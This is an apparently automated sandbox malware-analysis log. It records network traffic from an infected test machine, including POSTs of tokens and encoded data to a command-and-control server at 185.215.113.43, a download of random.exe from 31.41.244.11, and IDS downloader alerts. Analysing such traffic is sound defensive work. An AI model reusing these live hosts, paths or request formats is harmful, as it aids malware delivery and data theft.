2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------DAEBKKKEHDHDGDGCFBKJContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------DAEBKKKEHDHDGDGCFBKJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DAEBKKKEHDHDGDGCFBKJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 33 32 41 37 34 42 36 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB32A74B65D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49724 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49829 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49957 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:53169 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 31_2_0003BE30 Sleep,InternetOpenW,InternetConnectA,HttpSendRequestA,InternetReadFile,

31_2_0003BE30

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241125T044610Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=caca35ca468440d5801a46cf4c03216e&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=600388&metered=false&nettype=ethernet&npid=sc-338388&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=600388&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAccaD6tP2bYCt3E7LYRAzNdOqSCYXJZMjIhhmK2bz8+u0289uGCJto7xOID8AknWrya4BWIiK27wC7X7BIUz+juFMzApoyCsqpbU04CSlJgwXpDQKDx77mHA822np1L4brc7ucy5D1JCQ4HidhMcdSdl/KUUFbF++Gz9h0BnNFI1g+uUVuey7pajAnNB6Hgvvibi9h7rbeGSpDmWzr7rQvznkQ4GczLs862fJ7l65wAI+5o7SuvYmWM8XdkzcQfQYhPUpGLLi2z9i/lhwUHYM09BPEBjrtyk0bSNcnwVo7wmQYDO+OS/l0jZa+meyP19exEorbP+Rm4N81s0LVNC4boQZgAAEI2Ji+hlfY+nJu+jE+y5Vn+wAeI+nadFmwExYO7Rqvs0p0Qxw8epz5gnP106f2yfUGUXpfYHD5BgoAgUctQtTVyt3Uao0XLKa8z3mij4iyivmNVf7upUCnmCFlmN965e41QKQQkzfSrbMLgMQoJv6v2DZHMuNxat5c2ddLKrfUouqTZjSOAUO5P9bLiGgNZfPY4Y77LoK7Os5jNyQPP4CnCFbAgyaJpqYypHjOwvIun17hy8ROiTBFY+BnZLfS1dubPOWCFQYIZowby0SK2HOr6FBUhIpsMfer4zF1tEYerxxaXY8wrBkJXLjLD9c+8/39cW3YmEScHjqDGDuMDO1m9ofce4JDNN7EqwsMZNHPHK865mQb/cekiYBawelIIyfrccGed2ZYErTh1uoxSfO/dGP/uQ4ZJGbmA1uUL2dFsmuBfeUUCZdYO765lZQ1/1VTRsE+ibHmwcTxrdw0GYrVqseHBFFPIcQZbPKbOWRHg+B9EPgf4OO1RmMhY2uPvU9BUIAyiSBXf8T2woGnkl4XXqhK7A74N5qXAMMYr23+Psy7+dpzJasmqkOef2ZJxz3kGNa0m29PhyGnBRESGxdFtuVdcB&p=Cache-Control: no-cacheMS-CV: x+uPAxlRTkK/BE4k.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241125T044610Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=9dd3b5624f064e77a9e28b7f4e81f069&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=600388&metered=false&nettype=ethernet&npid=sc-280815&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=600388&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAdddCDU6xcjr4JQG4Q5CqQxYxRM7l7bC2MlFt9QO4Uu+ii8g720LG20edSSoTxnVPQfVrlOu/1noHbdP1+SiDi5DXdT/uC4gyHD0VoOT8ej2C+khCyhpug75SlIEjFej8fFvFo7FRZmWh8e545MnqHUljhAUzmKsKLRg/3UcXh4JkTf7zSwTP9Crj3xvwV1r5M6EZ2sADzFErRcH2T24HTT5pOeqDoqUYjhsuCPe3yRmQrN0Jxh9YUgKXYnq69TAggEbmdB1hu9ZbRMSeeNln3HQwGNpDyLAvfI/4qb8hmqcUU1ZMGFO6SmtXaqVqSt9dfRZCFSE0gLywHw9AU/GzhwQZgAAEDLRjozc8/fgTMJxBFbXahywATFuChYgSpvVkCQYiQv60vF/VLJsV5RJb3Ow+8dNRR0el2q0qbp9VTIG1wSVzaBKxsxH6IkW8X1WoLGuGJ5WlMi3c3SgUegrH058yo1LjgO0t3qLHIw6DS58jmJOIOme9/07868p1M09IlZ+2siUGX80L8KZ/uI5KSpK6J0OLWHJJ7zHypUXOeuGwBNhG0BXntMOPhCdKQPDe8woCYKNmEnydE43UgZybWyFczIOVNw2wlMFxB2sFIt+ew1l3Ac14hDxuhjSRFZZIlL/G7ny6MVIbDaXB5Mjnu9NE2wIH2xCI4qXe1DZMrAMgejMmtdL1BywwAp7hF9/3SW4nG0l/KnNsru4eQLJK4+NiariI8X5z7zgC1Z02+sfIaXcKF+CM9ZHVHj03k2ColCMd7oMACwRTvmXYI4h6YEqYTNdP1ZQVEwwo8yqq6vRFLxhb7KejVnWkbtX1YW0NMU1S8gCkc2qN+47eVbs7upXCKEA1Vz3xS05Ei7bDi6ILl4f8RW4a+lOo92EsOYwciT9fBbwM2/xW/TN6GTN+B4zIvlpNwQq+UYBIJSLTuDfY6r/1gw0YNcB&p=Cache-Control: no-cacheMS-CV: x+uPAxlRTkK/BE4k.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241125T044610Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=7a59710a8cf440c19b9cf664d25f77a5&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=600388&metered=false&nettype=ethernet&npid=sc-338387&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=600388&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAay3PZhKuCkrPSyBC+K7jS3lqIgx8Fbh3P99oi5sRGvkmbvl2RGH4X2qzx1UdEdBUw9sFgvhNPCRd/vl7bxUKzV4sEzwTLWEkQ/dntSf4KvoW7ZBXGfu/oDdzIJTlyLzUWWtV2diANnBGjU9MnwzFQ6qNVHxZrBzQJUrzIJalVCOgQPea/AReTYEo0YNIZNffKvav7hxXhm5deBNslSLDuHAfnLcx/DpC5Q4TWiL80qk9/KgM7D9WmClKcQMerHwQLX+Iq20oi8kPFwASv0aOjJhF5A4W/PAEqtLCwJABrwr/fOzy6fB7ugjEV53NE7TiNDkhQZ6Hcpa0zkoG8di34AQZgAAEJZf5Y8wCICPvPK+lWhfMliwAQLru2vWpGnoTiAh+ZkVhtnGcXTenkKJfOx0+xNu3wXZbOu/CUaA9/+UB2RQ8nrA3J63lkzNtHGL4iPuXeJG34Ij/KzxMz/lhbvDfH2KsWL5MOMm50sgZJFcomS7VuhaSIvNd/oRxxxdeC2EyqJ3Fpoql3OvT3w3apYaRmi5/YYIwJ+mFFYiIasYr2MztIp2MvEScVARIB6C/zIG17xuvU2IedZDF261TYv4DOL/V3sl4MXgagdeV8qpa3QvSTA+2XEVqRCNkWytoLY0KdTnLKvMkJwhluD7KnyKN9hgEGP6nnYwo/wqcOpt/yvcxM4D7Fb6OMt5wh+6rx5bybn+42jMLdQtn1vULEH+7Wdu9WEKb+pgY8a6f5yB6wamUhui+Ad7szIBR8r04ZwzuebMGEzUx8uiwqPwfvP/176HaRFxs2bGn1qSHvXgFfrLLn9R/xChp26GwWciHc9xleM7JeQZ67xvMKoBEUfLrOrcPmWN2O/RRJp+RJtvFCQ1pqcZl1oGlOxjjEDsO53us0k9MdRg2liTXjY0w0Ua2xPTU2pImvd4HY183+u12oJVumFcN9cB&p=Cache-Control: no-cacheMS-CV: x+uPAxlRTkK/BE4k.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241125T044615Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=29b2cea0b0ef481e9f8468b00540e0f3&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=600388&metered=false&nettype=ethernet&npid=sc-280815&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=600388&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAay3PZhKuCkrPSyBC+K7jS3lqIgx8Fbh3P99oi5sRGvkmbvl2RGH4X2qzx1UdEdBUw9sFgvhNPCRd/vl7bxUKzV4sEzwTLWEkQ/dntSf4KvoW7ZBXGfu/oDdzIJTlyLzUWWtV2diANnBGjU9MnwzFQ6qNVHxZrBzQJUrzIJalVCOgQPea/AReTYEo0YNIZNffKvav7hxXhm5deBNslSLDuHAfnLcx/DpC5Q4TWiL80qk9/KgM7D9WmClKcQMerHwQLX+Iq20oi8kPFwASv0aOjJhF5A4W/PAEqtLCwJABrwr/fOzy6fB7ugjEV53NE7TiNDkhQZ6Hcpa0zkoG8di34AQZgAAEJZf5Y8wCICPvPK+lWhfMliwAQLru2vWpGnoTiAh+ZkVhtnGcXTenkKJfOx0+xNu3wXZbOu/CUaA9/+UB2RQ8nrA3J63lkzNtHGL4iPuXeJG34Ij/KzxMz/lhbvDfH2KsWL5MOMm50sgZJFcomS7VuhaSIvNd/oRxxxdeC2EyqJ3Fpoql3OvT3w3apYaRmi5/YYIwJ+mFFYiIasYr2MztIp2MvEScVARIB6C/zIG17xuvU2IedZDF261TYv4DOL/V3sl4MXgagdeV8qpa3QvSTA+2XEVqRCNkWytoLY0KdTnLKvMkJwhluD7KnyKN9hgEGP6nnYwo/wqcOpt/yvcxM4D7Fb6OMt5wh+6rx5bybn+42jMLdQtn1vULEH+7Wdu9WEKb+pgY8a6f5yB6wamUhui+Ad7szIBR8r04ZwzuebMGEzUx8uiwqPwfvP/176HaRFxs2bGn1qSHvXgFfrLLn9R/xChp26GwWciHc9xleM7JeQZ67xvMKoBEUfLrOrcPmWN2O/RRJp+RJtvFCQ1pqcZl1oGlOxjjEDsO53us0k9MdRg2liTXjY0w0Ua2xPTU2pImvd4HY183+u12oJVumFcN9cB&p=Cache-Control: no-cacheMS-CV: x+uPAxlRTkK/BE4k.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241125T044615Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a2e72cb88d8d4162956ce506a078e8ff&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=600388&metered=false&nettype=ethernet&npid=sc-338388&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=600388&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=99999999&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAay3PZhKuCkrPSyBC+K7jS3lqIgx8Fbh3P99oi5sRGvkmbvl2RGH4X2qzx1UdEdBUw9sFgvhNPCRd/vl7bxUKzV4sEzwTLWEkQ/dntSf4KvoW7ZBXGfu/oDdzIJTlyLzUWWtV2diANnBGjU9MnwzFQ6qNVHxZrBzQJUrzIJalVCOgQPea/AReTYEo0YNIZNffKvav7hxXhm5deBNslSLDuHAfnLcx/DpC5Q4TWiL80qk9/KgM7D9WmClKcQMerHwQLX+Iq20oi8kPFwASv0aOjJhF5A4W/PAEqtLCwJABrwr/fOzy6fB7ugjEV53NE7TiNDkhQZ6Hcpa0zkoG8di34AQZgAAEJZf5Y8wCICPvPK+lWhfMliwAQLru2vWpGnoTiAh+ZkVhtnGcXTenkKJfOx0+xNu3wXZbOu/CUaA9/+UB2RQ8nrA3J63lkzNtHGL4iPuXeJG34Ij/KzxMz/lhbvDfH2KsWL5MOMm50sgZJFcomS7VuhaSIvNd/oRxxxdeC2EyqJ3Fpoql3OvT3w3apYaRmi5/YYIwJ+mFFYiIasYr2MztIp2MvEScVARIB6C/zIG17xuvU2IedZDF261TYv4DOL/V3sl4MXgagdeV8qpa3QvSTA+2XEVqRCNkWytoLY0KdTnLKvMkJwhluD7KnyKN9hgEGP6nnYwo/wqcOpt/yvcxM4D7Fb6OMt5wh+6rx5bybn+42jMLdQtn1vULEH+7Wdu9WEKb+pgY8a6f5yB6wamUhui+Ad7szIBR8r04ZwzuebMGEzUx8uiwqPwfvP/176HaRFxs2bGn1qSHvXgFfrLLn9R/xChp26GwWciHc9xleM7JeQZ67xvMKoBEUfLrOrcPmWN2O/RRJp+RJtvFCQ1pqcZl1oGlOxjjEDsO53us0k9MdRg2liTXjY0w0Ua2xPTU2pImvd4HY183+u12oJVumFcN9cB&p=Cache-Control: no-cacheMS-CV: x+uPAxlRTkK/BE4k.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241125T044616Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=6bca432b1919442ba0c889b66cc1313b&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=600388&metered=false&nettype=ethernet&npid=sc-338387&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=600388&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=530911393,531098720,531174684&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: 